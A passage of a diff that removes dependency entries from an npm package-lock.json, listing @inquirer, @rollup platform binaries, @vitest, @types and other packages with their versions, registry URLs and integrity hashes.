"https://registry.npmjs.org/@inquirer/input/-/input-5.0.10.tgz", - "integrity": "sha512-nvZ6qEVeX/zVtZ1dY2hTGDQpVGD3R7MYPLODPgKO8Y+RAqxkrP3i/3NwF3fZpLdaMiNuK0z2NaYIx9tPwiSegQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/number": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-4.0.10.tgz", - "integrity": "sha512-Ht8OQstxiS3APMGjHV0aYAjRAysidWdwurWEo2i8yI5xbhOBWqizT0+MU1S2GCcuhIBg+3SgWVjEoXgfhY+XaA==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/password": { - "version": "5.0.10", - "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-5.0.10.tgz", - "integrity": "sha512-QbNyvIE8q2GTqKLYSsA8ATG+eETo+m31DSR0+AU7x3d2FhaTWzqQek80dj3JGTo743kQc6mhBR0erMjYw5jQ0A==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^2.0.4", - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/prompts": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-8.3.2.tgz", - "integrity": "sha512-yFroiSj2iiBFlm59amdTvAcQFvWS6ph5oKESls/uqPBect7rTU2GbjyZO2DqxMGuIwVA8z0P4K6ViPcd/cp+0w==", - "license": "MIT", - "dependencies": { - "@inquirer/checkbox": "^5.1.2", - "@inquirer/confirm": "^6.0.10", - "@inquirer/editor": "^5.0.10", - "@inquirer/expand": "^5.0.10", - "@inquirer/input": "^5.0.10", - "@inquirer/number": "^4.0.10", - "@inquirer/password": "^5.0.10", - "@inquirer/rawlist": "^5.2.6", - "@inquirer/search": "^4.1.6", - "@inquirer/select": "^5.1.2" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/rawlist": { - "version": "5.2.6", - "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-5.2.6.tgz", - "integrity": "sha512-jfw0MLJ5TilNsa9zlJ6nmRM0ZFVZhhTICt4/6CU2Dv1ndY7l3sqqo1gIYZyMMDw0LvE1u1nzJNisfHEhJIxq5w==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/search": { - "version": "4.1.6", - "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-4.1.6.tgz", - "integrity": "sha512-3/6kTRae98hhDevENScy7cdFEuURnSpM3JbBNg8yfXLw88HgTOl+neUuy/l9W0No5NzGsLVydhBzTIxZP7yChQ==", - "license": "MIT", - "dependencies": { - "@inquirer/core": "^11.1.7", - "@inquirer/figures": "^2.0.4", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/select": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-5.1.2.tgz", - "integrity": "sha512-kTK8YIkHV+f02y7bWCh7E0u2/11lul5WepVTclr3UMBtBr05PgcZNWfMa7FY57ihpQFQH/spLMHTcr0rXy50tA==", - "license": "MIT", - "dependencies": { - "@inquirer/ansi": "^2.0.4", - "@inquirer/core": "^11.1.7", - "@inquirer/figures": "^2.0.4", - "@inquirer/type": "^4.0.4" - }, - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@inquirer/type": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-4.0.4.tgz", - "integrity": "sha512-PamArxO3cFJZoOzspzo6cxVlLeIftyBsZw/S9bKY5DzxqJVZgjoj1oP8d0rskKtp7sZxBycsoer1g6UeJV1BBA==", - "license": "MIT", - "engines": { - "node": ">=23.5.0 || ^22.13.0 || ^21.7.0 || ^20.12.0" - }, - "peerDependencies": { - "@types/node": ">=18" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - } - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.1.tgz", - "integrity": "sha512-xB0b51TB7IfDEzAojXahmr+gfA00uYVInJGgNNkeQG6RPnCPGr7udsylFLTubuIUSRE6FkcI1NElyRt83PP5oQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.1.tgz", - "integrity": "sha512-XOjPId0qwSDKHaIsdzHJtKCxX0+nH8MhBwvrNsT7tVyKmdTx1jJ4XzN5RZXCdTzMpufLb+B8llTC0D8uCrLhcw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.1.tgz", - "integrity": "sha512-vQuRd28p0gQpPrS6kppd8IrWmFo42U8Pz1XLRjSZXq5zCqyMDYFABT7/sywL11mO1EL10Qhh7MVPEwkG8GiBeg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.1.tgz", - "integrity": "sha512-x6VG6U29+Ivlnajrg1IHdzXeAwSoEHBFVO+CtC9Brugx6de712CUJobRUxsIA0KYrQvCmzNrMPFTT1A4CCqNTg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.1.tgz", - "integrity": "sha512-Sgi0Uo6t1YCHJMNO3Y8+bm+SvOanUGkoZKn/VJPwYUe2kp31X5KnXmzKd/NjW8iA3gFcfNZ64zh14uOGrIllCQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.1.tgz", - "integrity": "sha512-AM4xnwEZwukdhk7laMWfzWu9JGSVnJd+Fowt6Fd7QW1nrf3h0Hp7Qx5881M4aqrUlKBCybOxz0jofvIIfl7C5g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.1.tgz", - "integrity": "sha512-KUizqxpwaR2AZdAUsMWfL/C94pUu7TKpoPd88c8yFVixJ+l9hejkrwoK5Zj3wiNh65UeyryKnJyxL1b7yNqFQA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.1.tgz", - "integrity": "sha512-MZoQ/am77ckJtZGFAtPucgUuJWiop3m2R3lw7tC0QCcbfl4DRhQUBUkHWCkcrT3pqy5Mzv5QQgY6Dmlba6iTWg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.1.tgz", - "integrity": "sha512-Sez95TP6xGjkWB1608EfhCX1gdGrO5wzyN99VqzRtC17x/1bhw5VU1V0GfKUwbW/Xr1J8mSasoFoJa6Y7aGGSA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.1.tgz", - "integrity": "sha512-9Cs2Seq98LWNOJzR89EGTZoiP8EkZ9UbQhBlDgfAkM6asVna1xJ04W2CLYWDN/RpUgOjtQvcv8wQVi1t5oQazA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.1.tgz", - "integrity": "sha512-n9yqttftgFy7IrNEnHy1bOp6B4OSe8mJDiPkT7EqlM9FnKOwUMnCK62ixW0Kd9Clw0/wgvh8+SqaDXMFvw3KqQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.1.tgz", - "integrity": "sha512-SfpNXDzVTqs/riak4xXcLpq5gIQWsqGWMhN1AGRQKB4qGSs4r0sEs3ervXPcE1O9RsQ5bm8Muz6zmQpQnPss1g==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.1.tgz", - "integrity": "sha512-LjaChED0wQnjKZU+tsmGbN+9nN1XhaWUkAlSbTdhpEseCS4a15f/Q8xC2BN4GDKRzhhLZpYtJBZr2NZhR0jvNw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.1.tgz", - "integrity": "sha512-ojW7iTJSIs4pwB2xV6QXGwNyDctvXOivYllttuPbXguuKDX5vwpqYJsHc6D2LZzjDGHML414Tuj3LvVPe1CT1A==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.1.tgz", - "integrity": "sha512-FP+Q6WTcxxvsr0wQczhSE+tOZvFPV8A/mUE6mhZYFW9/eea/y/XqAgRoLLMuE9Cz0hfX5bi7p116IWoB+P237A==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.1.tgz", - "integrity": "sha512-L1uD9b/Ig8Z+rn1KttCJjwhN1FgjRMBKsPaBsDKkfUl7GfFq71pU4vWCnpOsGljycFEbkHWARZLf4lMYg3WOLw==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.1.tgz", - "integrity": "sha512-EZc9NGTk/oSUzzOD4nYY4gIjteo2M3CiozX6t1IXGCOdgxJTlVu/7EdPeiqeHPSIrxkLhavqpBAUCfvC6vBOug==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.1.tgz", - "integrity": "sha512-NQ9KyU1Anuy59L8+HHOKM++CoUxrQWrZWXRik4BJFm+7i5NP6q/SW43xIBr80zzt+PDBJ7LeNmloQGfa0JGk0w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.1.tgz", - "integrity": "sha512-GZkLk2t6naywsveSFBsEb0PLU+JC9ggVjbndsbG20VPhar6D1gkMfCx4NfP9owpovBXTN+eRdqGSkDGIxPHhmQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.1.tgz", - "integrity": "sha512-1hjG9Jpl2KDOetr64iQd8AZAEjkDUUK5RbDkYWsViYLC1op1oNzdjMJeFiofcGhqbNTaY2kfgqowE7DILifsrA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.1.tgz", - "integrity": "sha512-ARoKfflk0SiiYm3r1fmF73K/yB+PThmOwfWCk1sr7x/k9dc3uGLWuEE9if+Pw21el8MSpp3TMnG5vLNsJ/MMGQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.1.tgz", - "integrity": "sha512-oOST61G6VM45Mz2vdzWMr1s2slI7y9LqxEV5fCoWi2MDONmMvgsJVHSXxce/I2xOSZPTZ47nDPOl1tkwKWSHcw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.1.tgz", - "integrity": "sha512-x5WgLi5dWpRz7WclKBGEF15LcWTh0ewrHM6Cq4A+WUbkysUMZNeqt05bwPonOQ3ihPS/WMhAZV5zB1DfnI4Sxg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.1.tgz", - "integrity": "sha512-wS+zHAJRVP5zOL0e+a3V3E/NTEwM2HEvvNKoDy5Xcfs0o8lljxn+EAFPkUsxihBdmDq1JWzXmmB9cbssCPdxxw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.59.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.1.tgz", - "integrity": "sha512-rhHyrMeLpErT/C7BxcEsU4COHQUzHyrPYW5tOZUeUhziNtRuYxmDWvqQqzpuUt8xpOgmbKa1btGXfnA/ANVO+g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "25.5.0", - "resolved": "https://registry.npmjs.org/@types/node/-/node-25.5.0.tgz", - "integrity": "sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "undici-types": "~7.18.0" - } - }, - "node_modules/@vitest/expect": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-3.2.4.tgz", - "integrity": "sha512-Io0yyORnB6sikFlt8QW5K7slY4OjqNX9jmJQ02QDda8lyM6B5oNgVWoSoKPac8/kgnCUzuHQKrSLtu/uOqqrig==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/chai": "^5.2.2", - "@vitest/spy": "3.2.4", - "@vitest/utils": "3.2.4", - "chai": "^5.2.0", - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/mocker": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-3.2.4.tgz", - "integrity": "sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/spy": "3.2.4", - "estree-walker": "^3.0.3", - "magic-string": "^0.30.17" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/pretty-format": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-3.2.4.tgz", - "integrity": "sha512-IVNZik8IVRJRTr9fxlitMKeJeXFFFN0JaB9PHPGQ8NKQbGpfjlTx9zO4RefN8gp7eqjNy8nyK3NZmBzOPeIxtA==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-3.2.4.tgz", - "integrity": "sha512-oukfKT9Mk41LreEW09vt45f8wx7DordoWUZMYdY/cyAk7w5TWkTRCNZYF7sX7n2wB7jyGAl74OxgwhPgKaqDMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/utils": "3.2.4", - "pathe": "^2.0.3", - "strip-literal": "^3.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/snapshot": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-3.2.4.tgz", - "integrity": "sha512-dEYtS7qQP2CjU27QBC5oUOxLE/v5eLkGqPE0ZKEIDGMs4vKWe7IjgLOeauHsR0D5YuuycGRO5oSRXnwnmA78fQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "3.2.4", - "magic-string": "^0.30.17", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/spy": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-3.2.4.tgz", - "integrity": "sha512-vAfasCOe6AIK70iP5UD11Ac4siNUNJ9i/9PZ3NKx07sG6sUxeag1LWdNrMWeKKYBLlzuK+Gn65Yd5nyL6ds+nw==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyspy": "^4.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/utils": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-3.2.4.tgz", - "integrity": "sha512-fB2V0JFrQSMsCo9HiSq3Ezpdv4iYaXRG1Sx8edX3MwxfyNn83mKiGzOcH+Fkxt4MHxr3y42fQi1oeAInqgX2QA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "3.2.4", - "loupe": "^3.1.4", - "tinyrainbow": "^2.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "license": "MIT", - "dependencies": { - "sprintf-js": "~1.0.2" - } - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/bl": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", - "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", - "license": "MIT", - "dependencies": { - "buffer": "^5.5.0", - "inherits": "^2.0.4", - "readable-stream": "^3.4.0" - } - }, - "node_modules/brace-expansion": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.4.tgz", - "integrity": "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg==", - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/buffer": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", - "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.1.13" - } - }, - "node_modules/cac": { - "version": "6.7.14", - "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", - "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/chai": { - "version": "5.3.3", - "resolved": "https://registry.npmjs.org/chai/-/chai-5.3.3.tgz", - "integrity": "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==", - "dev": true, - "license": "MIT", - "dependencies": { - "assertion-error": "^2.0.1", - "check-error": "^2.1.1", - "deep-eql": "^5.0.1", - "loupe": "^3.1.0", - "pathval": "^2.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/chardet": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.1.1.tgz", - "integrity": 